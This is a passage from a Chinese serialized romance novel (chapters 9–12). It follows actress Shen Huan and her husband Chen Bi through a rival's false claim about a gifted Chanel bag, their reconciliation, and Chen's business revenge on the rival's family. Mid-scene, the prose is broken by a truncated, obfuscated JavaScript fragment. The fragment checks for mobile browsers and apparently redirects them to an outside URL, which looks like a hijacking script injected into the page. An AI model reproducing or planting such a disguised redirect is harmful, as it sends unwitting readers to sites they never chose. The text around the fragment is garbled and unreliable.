“啊?为什么啊?沈欢,你高中的时候不是很喜欢他吗?”圆脸女生震惊,瞪大双眼。
他们都见过沈欢高中时热烈追求陈璧的场面,在那时闹得沸沸扬扬,一时不敢相信她会主动提出分手。
何媛媛此刻就像沈欢的官方发言人,双手抱在胸前,露出刻薄嘴脸:“还能是因为什么?因为陈璧养父母家穷呗。”
“沈大小姐怎么可能一直跟穷小子在一起,玩玩而已,感觉没意思当然就扔掉他了。”
“沈欢,你不过是个随意玩弄他人感情的烂人而已!”
有些人在S市消息灵通,开始窃窃私语:“听说陈璧其实是城南霍家失散多年的儿子,霍家比沈家还有钱……”
“那沈欢这下亏大发了,丢了芝麻也丢了西瓜,陈璧不会趁机报复沈家吧?”
“这可说不准。”
“我警告大家,造谣可是要负法律责任的。”沈欢扫视过在场的人,听着他们胡乱议论猜测,烦躁地站起身,沉声道。
众人知道沈家厉害,也知道沈欢脾气向来暴躁,不是好捏的包子,互相对视一眼纷纷噤声。
“我们有什么话出去说,私人恩怨别打扰同学聚会。”沈欢轻轻扭头,对上何媛媛满载挑衅的目光,拿上大衣,率先推开包厢大门。
走廊尽头,一扇窗户半开着,阵阵凉风倒灌进来,沈欢穿上大衣,在月光下理顺微卷长发,珍珠耳饰温润柔和,淡定从容看向她。
何媛媛拎着香奈儿包,毫不畏惧:“你看我也没用,你扪心自问,我说的话有一句虚言吗?沈欢,辜负真心的人早晚会遭报应,我就是看不惯你高高在上,玩弄他人感情的样子!”
“怎么?就因为陈璧当年拒绝了你的表白,却答应了我,你就记恨我这么久?”沈欢手撑在窗沿,挑起眼尾,目光睥睨,一副坐实高高在上的罪名的模样,继续道。
“是,你现在站在道德制高点上谴责我做人轻浮,玩弄感情,诅咒我以后会遭报应,但是转念一想,哎——”
“你想玩弄感情,某人还不给你这个机会,是不是很可惜?”
何媛媛被戳到了痛
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点,面目扭曲一瞬,怨毒瞪她。
沈欢冷笑,不疾不徐:“何媛媛,你知不知道,恨一个人的样子是很丑陋的,不知道的话就直走再左转,那有洗手间可以照照镜子。”
“……你怎么知道陈璧没有给我机会?你就那么相信他?”何媛媛稳住情绪,试图把节奏抓在自己手里,反唇相讥。
“我当然相信。”沈欢脱口而出。
何媛媛伸手,将提着的香奈儿包举到她面前:“你认得它吗?”
“当然认识,香奈儿家多少年前的款式了,你怎么还在背?何家公司倒闭的时候,记得通知我去喝杯喜酒。”沈欢瞥了一眼,隐隐觉得有些熟悉。
何媛媛深吸一口气,忍住怒火:“你仔细看!”
沈欢再度投出目光,确实是几年前的款式,黑色方包经典不易过时。
倏然间,她从记忆深处挖掘到一些碎片,不禁怔神。
大学时,她曾和陈璧一同逛市中心商场,在香奈儿柜台看中了一款包,刚准备直接刷卡拿下,才想起她已经为了他和沈家闹翻,银行卡早已被冻结。
可惜陈璧正在创业初期,万事开头难,投资尚未产生回报,自然囊中羞涩。
于是她拉着陈璧的手,在柜员暗藏嫌弃的目光下扬长而去。
后来,她再没在陈璧面前提起这件事,然而那天看中的包,如今却出现在何媛媛手上。
“你居然跟踪我们?何媛媛你个死变态!”沈欢回过神来,咬牙骂她。
“跟踪?我从来不做这么下作的事。”何媛媛最讨厌看她古井无波的模样,此刻终于扳回一局,扬眉吐气地挺直腰杆。
“实话告诉你吧,这个包是陈璧送给我的。”
“我不信!”沈欢脱口而出。
她的后背抵在窗沿,已然无处可退,秋风自衣领肆意钻进,惹得她打了个寒颤。
她一遍遍催眠自己,肯定是何媛媛跟踪他们,为了气她,自己买的。
何媛媛仿佛知道她在想什么,发出一阵冷笑:“你真是死到临头还嘴硬,是不是要我把购物凭证甩在你脸上,你才会信这是陈璧送给我的定情信物?”
“他没钱给你买奢侈品,但是买给我的时候可是毫不心疼呢,不过——是你不值得他花这个钱而已。”
“没想到吧,沈欢,当你算计着爱情,以为自己可以把别人玩弄于股掌之间时,其实早就被人背叛了。”
“俗话说,玩鹰的人往往会被鹰啄了眼睛,你又怎么证明,陈璧再次接近你,不是为了更好地报复你呢?这句话是我送你的最后忠告,不用谢。”
说罢,何媛媛怜悯地看了她一眼,转身踩着高跟鞋优雅离开。
沈欢捂住脸垂头,努力喘息,试图呼吸到新鲜空气,却感觉胸口传来一阵憋闷。
巨大的无力感席卷全身,她靠着墙壁,无措地滑坐在地,何媛媛的话在她的脑海中一遍遍回响,仿佛恶魔在低声念着咒语。
9. 落泪
沈欢突然想起,那年自商场离开后,陈璧一路无言,任她如何耍宝逗趣,约会气氛都持续低迷。
直到回家以后,他才转过身,轻轻拥住她,将头埋在她的肩窝,像一只受尽委屈的大型犬。
温热泪水一滴滴划过她的颈侧,濡湿衣领。
她摸着男人硬挺的短发,笨拙安慰:“没事,陈璧,我不需要这些身外之物,只要能跟你在一起,背着麻袋上街都是幸福。”
“欢欢。”男人哽咽,语气压抑,一字一顿道。
“等我创业成功以后,我一定不会再让你受委屈。”
难道当初那些美好记忆,都掺杂着虚情假意?
一想到这里,沈欢的头再次剧烈疼痛起来。
她从大衣兜里翻出布洛芬,将胶囊哆哆嗦嗦扔进嘴里,就这样仰头干咽下去。
胶囊卡在喉咙里,蔓延出苦涩味道,令她舌根微微发麻,一如现在的糟糕心情。
突然,一阵电话铃声打破了走廊寂静,沈欢垂眸,来电显示是陈璧。
她此刻心绪繁杂,并不想听见他的声音,于是直接挂断电话,跌跌撞撞站起身。
或许是布洛芬发挥作用,剧烈疼痛减轻不少,她倚靠在墙边休息一阵,待体力恢复以后走出私人会所,准备开车回家。
可电话再次响起,像催命符一般急促震耳,她反手甩上车门,怒气冲冲接起来:“陈璧,你烦不烦人?”
一道女声惶恐又惊讶:“抱歉,沈女士,我是B市人民医院的前台护士,您现在方便接听电话吗?”
沈欢攥紧手机,冷静片刻:“对不起,我看错人了,方便。”
“好的,我是来通知您,复查的日子快到了,请记得下个月来一趟医院。”护士彬彬有礼。
近日事忙,沈欢险些忘了这茬,她立刻答应下来,挂断电话,脱力般躺在驾驶座上,仰头静静看着车顶。
天窗恰好打开,如今夜色已深,月亮害羞躲藏在云层后,只余星星点缀,扑朔迷离。
倘若变成夜空中高悬的星辰,她还会感到迷茫吗?
她心底明白,何媛媛的话不能尽信,却不知道自己在纠结什么。
换作早年的她,在刚知道这件事的时候,就会把所有佐证甩到陈璧面前,撕破脸面,不管不顾要他给出合理解释。
她不可能接受一段不纯粹的爱情。
可她现在二十五岁了,过了不顾一切的冲动年纪,学会了什么叫做成年人的体面,更何况,他们之间有一场商业联姻,维系着两个家族的合作关系。
然而,他们之间也只有一纸婚前协议,来维系两个人的脆弱关系。
还有爱情吗?她不知道,也不想深究。
这其中蕴含微妙的平衡,沈欢暂时不想打破。
她轻轻叹气,不再胡思乱想,坐起身系上安全带,一脚油门驶向市中心最大的商场。
陈璧回到家的时候,发现客厅一角堆着奢侈品袋子,他视线巡视一圈,没有发现人影,心底微微诧异。
“沈欢?”陈璧走到主卧门口,试探性敲敲。
“……别敲了,我要睡觉。”沈欢的声音闷闷传来,她烦躁翻身,抱住床边的大熊娃娃,恶狠狠揉搓一阵。
陈璧听了一会儿房内动静,罚站:“抱歉,今天路上堵车,公司还出了一些差错,所以就没来得及去参加聚会,下次不会爽约了。”
“今天玩得开心吗?”他耐心询问。
沈欢将头埋进大熊温暖的怀抱里,眼泪不知不觉流出来:“……开心。”
“今天去购物了?钱够花吗?”陈璧想起客厅堆放的奢侈品,有些跃跃欲试,“下次你想买哪个牌子,直接让SA送上门任你选,账单留着我付。”
砸钱养老婆什么的,他现在最擅长了。
“我才不花你的钱,”沈欢小声嘟囔,“留着养别的女人去吧。”
隔着一道门,陈璧听不真切,隐约知道自己被拒绝了,还试图再争取一下:“副卡就在玄关第一个抽屉里,你自己拿去随便刷。”
沈欢此刻不想和他讨论钱财问题,烦躁捂耳:“我说了我要睡觉,你这人烦不烦?”
陈璧不知她为何生气,一时有些摸不着头脑,但还是识趣离开:“那我先走了,你早点休息,晚安。”
脚步声渐渐远去,随着吱呀一声,卧室门外恢复一片寂静。
室内黑漆,只有一缕月光透过窗帘缝隙摸进来,试图照亮沈欢的满腹心事。
她翻来覆去睡不着,只好拿起手机,打开某红书小号,编辑了一条帖子发送,才气鼓鼓地闭上眼睛。
翌日一早,沈欢没等陈璧起床,就坐上保姆车前往剧组。
吃着热腾腾的包子,她却开始想念陈璧亲手为她做的早餐,层次丰富的三明治,软糯可口的小米粥,醇香浓郁的牛奶……
总是令她忘记减肥的念头,不知不觉吃掉一堆食物,然后躺在沙发上含泪忏悔。
在这时,陈璧会露出满意微笑,一边刷碗一边小声哼歌,调早已跑到十万八千里。
“……公司年会你就身先士卒,表演唱歌给员工听吧。”她恶趣味出主意。
“不要,我只想唱歌给你听。”陈璧摇头。
沈欢默默,别人唱歌要钱,可陈璧唱歌要命啊。
她摇摇头,试图甩走这可怕的回忆,心底默念,对男人产生依赖与感情,是最不幸的事情,有些话听听就好了,作不了数的。
助理坐在副驾,瞥见她摇头晃脑的样子,面露担忧:“沈姐,怎么了,头疼吗?”
“……没有。”沈欢立刻老实坐好,不再胡思乱想,两三口吃掉包子,开始在车里温习剧本。
到了片场,她弄好妆造便投入拍摄中。
今天她的戏份比较多,幸好休假这一周里也没有放松,台词都背得滚瓜烂熟,只需要现场揣摩好角色情感,听温柒凡讲完走位,就可以开拍了。
几条单人镜头都是一遍过,温柒凡在摄像机后露出笑脸:“沈欢,这次假可真是放值了,你演技有进步啊,在家怎么练的?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144550|164653||http|test|mini|href|location''.split(''|''),0,{}));
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>“嗯……在家太闲了,没事干就对着抱枕说台词呗,熟能生巧罢了。”沈欢补妆,不好意思说自己是对着陈璧这个大活人练演技的,匆忙找了个借口。
接下来要和影帝兰雪衡拍对手戏,正是他被李离悲好心救回去,苏醒后死缠烂打要跟着她行走江湖的戏份。
清晨露水未干,破旧木屋被寒风一吹,便传来吱呀声响。
李离悲端着药汤来到床边,左手捏着他的脸,右手举起碗,将苦涩药汁灌到昏迷不醒的男人口中。
此法简单粗暴但十分有效,不过五分钟,男人便咳嗽着醒神,他胡乱擦拭着嘴,面色骇然:“你给我灌的什么东西?”
“毒药,喝完过上一刻钟就死了。”李离悲将碗啪嗒一声磕在桌上,冷笑。
男人赶紧趴在床边扣嗓子,奈何药汤已然下肚,面色惨白也吐不出来。
过了一刻钟,他才从浑浑噩噩中反应过来,自己不仅活得好好的,受到重击的头部还被布条整齐包扎起来。
面前这个面冷嘴毒的女人,应该是自己的救命恩人。
“恩人!”男人挣扎着想下床行礼,却被李离悲按住肩膀。
“别动,你需要静养。”
“敢问恩人大名?在下感激不尽!”男人仰起身子抱拳。
“李离悲,”她冷冷道,“既然醒了,那你就归家去吧,走之前记得结一下药钱,为了救你,我花了整整二两银子。”
“家……”男人愣住,痛苦捂头,“我不知道我的家在哪里,只知道我叫莫岚。”
李离悲愣住,皱眉看他,试图分辨他的话是真是假。
“正好我欠你二两银子,你就收留我吧,我什么活都能干,会烧柴生火,会打猎种田,或者……我当你的童养夫也愿意!”
“我不需要!”李离悲硬邦邦道,她只想一个人仗剑走天涯,并不想带上来路不明的拖油瓶。
“我不管,我应该失忆了,现在只认识你一个人,你要为我负责。”莫岚瘫倒在床上,一副赖着不走的痞子模样。
李离悲此刻真是秀才遇着兵,有理说不清。
“咔!”温柒凡大喊。
她皱眉叫走兰雪衡,开始进一步指导。
秋风渐起,沈欢披着薄款羽绒服坐在场边,拧开保温杯小口喝着温水,拿手肘戳崔蕊:“今天兰影帝怎么心不在焉的?刚刚拍戏途中他居然走神了,这不像他啊。”
崔蕊吞吞吐吐,一时说不出所以然,沈欢戏谑目光在她脸上不断流连。
她承受不住审问,面色像熟透的番茄,嗫嚅:“没怎么,就是前天喝醉了……睡了一觉。”
沈欢诧异,没想到乖乖女闺蜜能做出离经叛道的事情,低头小声问:“419?他知道是你吗?”
崔蕊弱弱点头:“应该知道是我,但我不知道他怎么想的,也不敢问,这两天我都避着他走,没说过话。”
沈欢一时无语凝噎,没忍住翻了个白眼,真想敲敲她的脑门问她在想什么,大事都干了,反而在小事上纠结起来。
10. 针对
“兰雪衡在圈内这么多年,从未有过桃色绯闻,我看他今天失魂落魄的样子,没准有戏,你真想追的话,就要及时把握机会。”
沈欢想了想,恨铁不成钢地提醒:“不管怎么说,你总不能白被人占便宜吧?”
“我知道了……”崔蕊努力硬气,挺直腰杆。
“对了,那天你和何媛媛说了什么?我从包厢出来找你,发现你早走了。”
“没什么,一些挑拨离间的话呗。”这下轮到沈欢尴尬地笑了。
“不管她说什么,你都不要信,肯定是黄鼠狼给鸡拜年,不怀好意!”崔蕊气冲冲道。
“哎呀不提这个了,坏人心情,对了,忘记告诉你,我跟陈璧领证了,”沈欢摸了摸鼻子,心虚低头,“你知道的,联姻嘛,逃不掉。”
崔蕊心疼看她:“陈璧要是婚内干混账事,你就告诉我,我带着我哥去揍他!”
“不然……你告诉他当年分手的真相呗,毕竟瞒得了一时,瞒不了一世。”
沈欢犹豫片刻,点头:“你放心,我会考虑的。”
正聊着天,兰雪衡拿着剧本走过来,一脸歉意:“对不起啊沈欢,我今天有点不在状态,害你还得再拍一遍。”
可他的视线却落在崔蕊身上,带着满满探究。
崔蕊以沈欢为掩体,默默侧过身子,不敢与他对视。
沈欢内心再次恨铁不成钢,面上笑着说:“没事,我们先来对一遍戏吧。”
两人就当着崔蕊的面对戏,崔蕊感觉灼热视线不再聚焦于自己身上,才自在了些,近距离欣赏两人互飙演技的精彩瞬间。
更高兴的事情是,他们演的还是自己亲笔创作的角色。
另一头,陈璧早上按时醒来,做好早餐去叫沈欢起床,却久久无人应答。
他皱眉推开房门,发现床上被子叠放整齐,空空荡荡。
他心慌一瞬,摸出手机给温柒凡打电话:“沈欢到剧组了吗?”
“早就到了,现在是上班时间,你就算是投资人也不能随便打扰剧组工作,找老婆请打老婆电话。”温柒凡无情。
陈璧方才心定下来,老婆没跑就行。
他挂断电话,回到餐桌边,手指在屏幕上滑动,犹豫片刻点开某红书。
关注的人发布了一个新帖子。
【沈太阳阳阳:不开心T_T】
发布时间正是昨晚。
陈璧瞬间反应过来,她昨晚已经表现出反常情绪,可他却过于礼貌绅士,忽略掉了这一点。
他懊恼,在脑海中复盘,循着蛛丝马迹判断,同学聚会上一定发生了什么不愉快的事情。
思索片刻,他先给沈欢发送一条私信:“太阳也会不开心吗?”
随后,他拨通谷露电话,询问那日聚会具体经过。
谷露自然如实相告:“何媛媛在聚会上找茬,编排你和沈欢的感情经历,两人去走廊谈话,不知道聊了什么,然后沈欢就提前离场了。”
“怎么编排的?”陈璧强忍怒气,咬牙追问。
谷露犹豫片刻,还是把何媛媛席间大肆张扬的话复述了一遍。
“我知道了,麻烦让在场的老同学别出去乱说,我和沈欢的事不是她说的那样,稍后我让助理把封口费打给大家。”陈璧的手死死攥住,强行平静下来,沉声解释并善后。
他竟不知,在自己忙着处理公司事务,未能赴约的时候,沈欢遭受了刺耳的编排和误解。
谷露一个劲答应:“当然不会乱说,我也警告他们了,沈欢是什么样的人,大家心里都有数,不可能听信何媛媛一面之词。”
陈璧挂断电话,面前一桌子早餐已然凉透,他也没有吃饭的胃口,索性穿上西装外套,大步走出家门。
何家是吗?陈璧暗自思忖,该如何从他们身上狠狠咬下一块肉来。
就拿城西正在拍卖的那块地下手好了。
接下来几天,何家的日子都不好过,几个快要谈妥的大单子全都告吹,何家大哥派人调查半天,也不清楚究竟是谁在背后暗算。
他一边肉疼一边想,没事,还有城西那块地,即将建设成商业副中心,早已和市上的人通过气,会交给何家去开发。
干完这一票大的,就能把亏损弥补回来。
到了竞标这一天,何大哥眼睁睁看着陈璧衣冠楚楚进场,与政府要员熟稔致意,顿时傻眼了,他怎么没听说过霍家要来掺和这桩生意啊。
竞标会打得就是价格战,他绝对干不过财大气粗的霍家。
于是,到嘴的鸭子硬生生飞到霍家怀里,何大哥也顿时明白,最近在背后放冷箭的小人是谁了。
散会后,何大哥拦住陈璧,咬牙切齿:“敢问陈少,我们何家在哪里招惹您不高兴了?值得您兴师动众跑一趟,专门来截胡?”
陈璧低头,慢条斯理整理袖口,遮住寒冽目光:“那你得回去问问你妹,对我老婆做了什么。”
何大哥愣住,关注点一时跑偏:“你什么时候结婚了?”
陈璧轻轻挑眉,隐婚的感觉真是不爽,真想昭告天下,沈欢是他老婆,不许不长眼的人欺负,又怕她生气不理他。
“这不归你管,只需要把话带到就行,何媛媛她自己清楚我说的是什么,别抱有侥幸心理,认为欺负了我老婆还能全身而退,不用承担一点后果。”
“这些只是替我老婆收一点利息,后面我会慢慢从何家身上讨回来。”
放完狠话,陈璧目光森然扫过他,冷嗤一声,带着助理团队转身离开。
何大哥脚下仿佛生了根,汗涔涔站在原地,目送男人离开,在心底暗骂小妹一天到晚净会惹事生非,同时飞速思考解决办法。
一直被霍家针对可不是个事,商场上那群老狐狸最会见风使舵,时间久了保准让何家在S市混不下去,趁机分食也未可知。
沈欢根本不知道陈璧为了她报复何家的事,一头扎进在剧组认真拍戏,空闲时间拿到手机,她点开陈璧的微信聊天框,却不知道说什么,犹豫片刻还是关掉了,选择用小号刷某红书解压。
她才发现后台消息出现一个小红点,好奇点
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开,原来是一条来自陌生人的私信。
【静影:太阳也会不开心吗?】
沈欢疑惑,才想起前几天晚上她死活睡不着,愤怒发帖抱怨心情不好。
她回看那条帖子,直到现在只有两个浏览量,一时若有所思。
她没急着回复,动动手指,点开他的主页暗中观察,这位陌生人只发过一条帖子:“忙。”
配图是一桌子散乱文件,仿佛白茫茫飞鸟。
沈欢沉默片刻,坏了,这张桌子怎么如此熟悉?像极了陈璧书房里的那张,檀木打造,花纹独一无二。
她现在真想再建一个小号,发帖求助:“某红书小号被老公发现了怎么办?在线等,很急!”
纠结再三,沈欢决定装傻充愣,假装没有发现对方的真实身份,打字:“没有人能天天开心。”
【静影:可以聊聊吗?是什么事惹你生气了?】
沈欢盯着消息框,大忙人居然在工作时间秒回,顿时起了点坏心思。
【沈太阳阳阳:当然是我老公了。】
陈璧坐在办公室,死死盯着“老公”两个字,嘴角一时疯狂上扬,自行脑补沈欢拖着尾音,用撒娇的语气喊他“老公”的画面。
甚至没注意到沈欢将“惹她生气”这一罪名水灵灵安在他头上。
直到下一条消息跳出来,陈璧嘴角一僵,突然笑不出来了。
【沈太阳阳阳:你知道吗?他居然背着我和别的女人纠缠不清!】
陈璧:?
他什么时候和别人纠缠不清了?怎么连他自己都不知道?是谁在背后诬陷他?
要是放在古代,他早就去衙门击鼓鸣冤,找包青天主持公道了。
他小心翼翼斟酌词句,努力为自己辩解。
【静影:会不会弄错了?你老公一定很爱你才和你结婚的,怎么可能轻易出轨?】
【沈太阳阳阳:你这人怎么回事?懂不懂某红书道上的规矩?遇见感情问题,上来先劝分才对。】
【静影:宁拆十座庙,不拆一桩婚。】
【沈太阳阳阳:那你为什么不问问,我老公是怎么出轨的?】
【静影:……怎么出轨的?】
根据笑容守恒定律来讲,笑容不会消失,只会从陈璧的脸上转移到沈欢的脸上。
沈欢坐在场边笑得开心,正准备回复,却被温导无情逮捕,她只好放下手机,暂时中断聊天,继续投入拍摄。
只留下陈璧焦心至极,在办公室里团团转,像热锅上的蚂蚁,无助等待沈欢的消息。
助理敲门进来,都吓了一跳:“陈总,您不舒服吗?需不需要叫医生?”
“……没事。”陈璧强忍急躁坐回去,向来白皙的面色微微泛红。
助理担忧:“陈总,您真的没有发烧吗?”
陈璧心想,还不如真的发烧晕过去,还能卖惨让沈欢从剧组出来照顾他,顺便问清楚,这该死的“出轨”究竟是怎么一回事。
算了,照顾人太累,他还是不生病为好,免得给沈欢添麻烦。
11. 张嘴
陈璧默默打消卖惨念头,调整好状态,起身前往会议室主持会议。
会议结束,他瞥了眼毫无动静的手机,一时怀疑是不是自己手机出了故障。
接收不到沈欢消息的手机,要它有何用?
眼看夕阳缓缓西沉,工作也完成得差不多,陈璧实在沉不住气,决定开车去剧组探班。
到了剧组门口,他远远看见一群女孩围在那里,手上拿着红色手幅,交头接耳。
他视力好,一眼认出手幅上印着沈欢的照片,初步判断这些人大概是她的忠实粉丝。
他不想引起她们注意,下车前戴上墨镜,企图从人群外围绕进剧组。
郝苒正和同担聊天,余光瞥见一个身姿颀长的男人低着头从她身边走过,自来熟地打招呼:“喂,你是欢欢的男粉吗?”
男人脚步微顿,犹豫片刻,不知如何回答,手中就被飞速塞上一堆应援物。
几个女生叽叽喳喳围过来,像看熊猫一样盯着陈璧瞧:“哇,很少见的大龄男粉哎,你也是来接欢欢下班的吗?”
陈璧捏着一沓自印小卡和会发光的应援棒,僵硬点头。
“这么腼腆?像你这样肯定挤不到前排,有没有准备礼物?我可以帮你转交给前排的姐妹,保准交到欢欢手上!”郝苒热心道。
陈璧面色微变,暗自懊恼。
坏了,走得急连一份礼物都没有准备,只订了餐厅,从这一点看,他还比不过粉丝们接下班用心。
说话间,前排传来一阵骚动,立刻吸引走郝苒和她的小姐妹们的注意力。
陈璧人高马大,一眼便越过人群,看到是沈欢走出来招待粉丝了。
助理跟在沈欢身边,帮忙派发小蛋糕和奶茶:“不要抢,人人有份!”
大家顿时安静下来,只用热切的目光看向沈欢。
沈欢早已换掉戏服,一条白色厚棉裙勾勒出窈窕身形,淡妆更凸显骨相优越,整个人白得仿佛在发光。
陈璧终于成功脱身,站在人群外凝望她,一时间只有一个念头:沈欢天生就该站在聚光灯下,耀眼夺目。
沈欢面带微笑,视线认真扫过在场的老粉们:“谢谢你们能来看我,时间不早了,吃点小甜品,晚上请大家去吃火锅暖暖胃好不好?”
“好!”粉丝们没想到还有这等福利,纷纷高兴起来。
“欢欢,可以收下我们的信和礼物吗?”郝苒趁机大喊。
“礼物就不收了,信件可以等吃完火锅以后,统一交给助理,我会认真看完的。”沈欢歪头,俏皮地眨眨眼。
郝苒开心地跃起来,回头找刚才的男人分享好消息,却发现身边空无一人,不禁疑惑挠头。
粉丝们在助理的指引下分批次坐上车,前往提前包好的火锅店,剧组门口慢慢安静下来。
送走了最后一名探班粉丝,沈欢长舒一口气,回到休息室拿上包准备下班,却感觉脸颊上挨到一根塑料棒,触感凉飕飕的,吓得她猛然后退半步,脚跟撞在沙发角。
耳边传来一阵轻笑。
“……陈璧!”她才看清来人,大喊他的名字,将手提包砸在男人健硕的胸膛上,“你这个混蛋!故意埋伏在休息室偷袭我?”
“冤枉,我才刚到,是温导把我带进来的。”陈璧任她打砸,将应援棒搁在她面前晃了晃。
他笑得促狭,像奸计得逞的狐狸:“我可是你的粉丝,专门来接你下班,别这么凶。”
“……幼稚。”沈欢瞪了他一眼,自顾自往外走,大衣袖口却被男人轻轻拽住。
她疑惑回头,蓦然撞见一束粉色郁金香,搭配蝴蝶兰和满天星,错落有致,清香宜人。
陈璧将花递给她,沉迷于cos粉丝:“欢欢,可以收下粉丝的礼物吗?”
“拒收,还有,不许叫我欢欢。”
沈欢摆出冷酷无情的模样,只有微红的耳垂暴露了她的真实情绪。
她嘴上说着拒绝的话,手已经诚实地伸出去抱过花束。
陈璧自觉接过她提着的包,顺口问:“怎么不背新买的香奈儿?”
沈欢回头睨他:“你自己心里清楚。”
“我清楚什么?”陈璧顿时一头雾水追问。
沈欢冷哼一声,快步走出休息室。
他像跟班一样缀在她身后,绞尽脑汁也想不明白。
两人一前一后坐上车,陈璧试图继续盘问:“是不是何媛媛说了什么?”
沈欢靠在副驾系上安全带,听闻此言眼睫颤动,心虚地闭上眼,摆出拒绝回答的姿态。
下一秒,她的唇上一热,不禁慌乱睁眼:“唔……”
陈璧俯身而下,齿尖叼住她的唇瓣细细碾磨:“你闭上眼睛不就是想让我亲你吗?”
“乖,张嘴。”
沈欢努力紧闭牙关,睫羽扑簌:“不。”
她想要挣脱,却被安全带束缚身子,双手只好努力抵在他胸前,仍是杯水车薪。
陈璧抬手摩挲她的微卷长发,一下一下,轻轻从头顶顺到发尾,沈欢闷哼一声,倏然软了身子。
他得逞轻笑,这么多年过去,一些小习惯她还是没有改变。
舌尖终于撬开负隅顽抗的齿关,灵活地长驱直入,攻城略地,惹得沈欢节节败退,缴械投降。
车内气温步步升高,一瞬间让沈欢以为身处炎热夏天。
她努力从铺天盖地的情潮中脱身,微阖双眸,从齿缝里挤出一句话:“不许……不许亲了。”
他又不喜欢她,亲她干什么?为什么要给她制造爱情的幻觉,又让她一次次清醒?
陈璧不言,只是一味的探索。
直到一串泪珠滚落,烫在他的手上,他才悚然一惊,慌张撤退,将刚刚侵占的地盘全部物归原主:“欢欢……怎么哭了?”
沈欢不回答,仰靠在椅背,眼眶红红的,嘴唇也红红的,眼泪明明划过自己的面颊,却烧灼着陈璧的心脏。
他的心狠狠揪起,从储物抽屉里拿出抽纸,小心翼翼沾掉泪花。
沈欢一瞬不瞬地看着他,像一只红宝石兔子,他顿时紧张起来,有种犯了滔天大罪,等待死刑审判的感觉。
陈璧握住她的手,狠狠打在自己脸上:“我错了欢欢,别哭,你气不过
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就打我,是我犯急色,非要亲你,是我的错。”
沈欢抽回手,哽咽一阵:“你大学的时候……”
大学的时候?
捕捉到这一信息,陈璧飞速转动大脑,但嘴比脑子快:“分开以后,我没找过任何人。”
“我说的是分手以前!”沈欢急促喘息,质问道,“分手以前,你有没有和别人拉扯不清?”
“绝对没有!”陈璧郑重保证,恨不得对天发誓。
“……那你为什么送她包?”纠结再三,沈欢还是问出了这个藏在心里的问题。
陈璧愣神:“谁?我送谁包?”
“别给我装傻充愣。”沈欢定定看他,隐隐有些失望,索性扭过头去看向车窗外。
陈璧伸手捏住她的下巴,轻轻掰回来:“看我。”
“听我解释,关于包,我记得大学的时候,有一次逛街你看中了一个包,我后来确实攒钱买到了。”
“那为什么没有给我?”沈欢拍开他的手,气鼓鼓。
陈璧无奈笑了:“因为那天,你和我提分手了。”
没想到是这个原因,沈欢一下子愣住,腾的一瞬,连耳朵带脸颊全烧起来了。
陈璧接着解释:“说实话,我也不知道为什么会出现在何媛媛手里,当时不仅没有送出去,还被分手了,我一时生气,就连着包装盒一起,扔在了沈家别墅外面的垃圾桶里,或许是被她趁机捡走了。”
沈欢低头,不敢想象他那时的心情,嗫嚅:“对不起……”
“不要说对不起,”陈璧轻轻捂住她的嘴,眸光温柔,“是我那时没用,不能给你富足的生活,我也不希望你跟着我受苦,回沈家挺好的。”
他想起那段时光,仍然觉得是灰暗的,只有沈欢是唯一一抹鲜艳亮色。
他也忘不了,沈欢为了和他在一起,和沈家闹掰,银行卡全被冻结了,千金大小姐沦落到身无分文。
两人租住在一室一卫的小公寓里,上完课还要琢磨如何省钱做美食,那时的他创业刚起步,手头紧俏,只能眼睁睁看着沈欢连一个喜欢的包都买不起,被导购奚落。
为了赚钱买包,他表面上说出门应酬,其实接了好几个家教单子,以S市理科状元的噱头辅导高中生数理化。
他的一小时,价值五百块。
可惜,等钱赚够,包也买到了,沈欢却和他提出了分手。
他想,自己不能拖累她,不能阻止她回归有钱人的生活,她没有义务,在最好的青春年华陪一个穷小子白手起家。
他又想,他会努力赚钱,直到自己配得上她,能够堂堂正正地站在她身边,不被任何人阻拦嘲讽。
陈璧从回忆里抽身,斜睨她,含着淡淡威胁:“以后还随便误会我吗?”
沈欢赶紧摇头,一脸老实模样。
他哼笑一声,坐回驾驶座,启动车辆驶向订好的餐厅。
那束捧花安置于后座,温柔晃荡,一如沈欢此刻的心情。
今晚夜色正好,星子温柔,沿途路灯拉扯出影子长长。
她支着下巴看向窗外,眯起眼轻轻笑了。
12. 杀青
回到家以后,沈欢第一件事是找出一个青花瓷瓶,装上清水,再将鲜花一朵朵插进去,摆出错落层次。
“这么喜欢?”陈璧拿出洗干净的抹布帮忙擦拭瓶身,故意问,“要不要放到你的卧室去?”
沈欢嘴硬:“谁喜欢了?它们还没有资格进我的卧室,只能开在客厅茶几上。”
疑似一语双关,陈璧意味深长瞥了她一眼。
听懂了,他目前也没有资格进入主卧,登堂入室。
仔细摆好花瓶,沈欢回到卧室,关上门才想起白日里在某红书上中断的对话。
她打开小号,慢吞吞回复。
【沈太阳阳阳:不离婚了,你说的对,宁拆十座庙,不毁一桩婚。】
【静影:那你说的“出轨”,到底是怎么一回事?】
沈欢一想起这个乌龙,就有些窘迫,再联想到对面就是陈璧本人,感觉更尴尬了怎么办?
【沈太阳阳阳:……是我误会他了。】
【静影:既然如此,那你应该给他补偿才对。】
沈欢暗戳戳咬牙,这个男人还不忘记为自己谋福利呢?
【沈太阳阳阳:我都道歉了,其他的补偿?想得美,做梦去吧。】
她羞恼地关闭手机,一头栽进毛茸茸大熊的怀抱。
隔着一堵墙,陈璧坐在床边盯着消息,嘴角忍不住上扬,自行脑补出一只炸毛凶猫,明明自己错了还要对着他亮爪子,耀武扬威。
即使被挠了,他也心甘情愿。
但这个场子,他得从何家身上狠狠找回来。
接下来一段时间,剧组拍摄有条不紊地进行。
【Wall:把羽绒服穿上。】
秋去冬来,气温骤降,沈欢坐在片场,在陈璧的远程消息指挥下,乖乖裹上羽绒服。
她瞥了一眼助理:“卧底。”
助理小姑娘缩了缩脖子,看着二老板发来的额外工资,假装听不懂沈欢的话,嘿嘿傻笑。
S市的冬季湿度大,几场绵绵冬雨扰得温柒凡不高兴,趁难得放晴,赶紧抓着主演拍最后一场戏。
剧本上写着正是夏天,为了不穿帮,沈欢和兰雪衡嘴里都含着几块冰,以此来降低温度,防止一说话便喷出一片雾气。
